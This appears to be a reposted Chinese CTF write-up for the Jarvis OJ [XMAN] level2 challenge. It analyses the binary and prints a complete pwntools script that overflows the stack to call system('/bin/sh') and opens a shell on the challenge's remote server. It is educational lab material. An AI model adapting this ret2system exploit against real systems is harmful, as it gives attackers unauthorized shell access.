zoukankan      html  css  js  c++  java
  • Jarvis OJ

    Jarvis OJ - [XMAN]level2 - Writeup

    M4x原创,转载请标明出处http://www.cnblogs.com/WangAoBo/p/7622091.html

    题目:

    分析:

    • 下载的文件先checksec检查保护机制

      没有开栈保护和装载地址随机化

    • 拖到IDA中查看,shift+F12搜索字符串,发现了/bin/sh

      同时,在函数列表里也发现了system函数

      这样我们就可以构造一个system("/bin/sh")的伪栈帧,通过控制vulnerable_function()返回到该伪栈帧,即可执行system("/bin/sh")来get shell

      因为我们的目的只是为了通过system("/bin/sh")来get shell,所以伪栈帧中system的返回地址可以随便指定

    步骤:

    经过以上的分析直接放exp,关键的点都写在注释里了

     1 #!/usr/bin/env python
     2 # -*- coding: utf-8 -*-
     3 __Auther__ = 'M4x'
     4 
     5 from pwn import *
     6 context.log_level = 'debug'
     7 
     8 elf = ELF('./level2')
     9 sys_addr = elf.symbols['system']#system函数地址
    10 sh_addr = elf.search('/bin/sh').next()#/bin/sh字符串地址
    11 
    12 payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定
    13 #  io = process('./level2')
    14 io = remote('pwn2.jarvisoj.com', 9878)
    15 io.sendlineafter("Input:
    ", payload)
    16 
    17 io.interactive()
    18 io.close()

    此时程序的运行流程如下图:

    结果:

    运行即可达到flag

  • 相关阅读:
    ElasticSearch安装中遇到的一些问题
    微信扫描二维码下载问题
    nginx截获客户端请求
    Nginx中的一些匹配顺序
    Redis-cli命令最新总结
    RabbitMQ服务安装配置
    Nginx服务状态监控
    使用Sqlserver更新锁防止数据脏读
    PHPStorm IDE 快捷键(MAC)
    MongoDB 安装
  • 原文地址:https://www.cnblogs.com/WangAoBo/p/7622091.html
Copyright © 2011-2022 走看看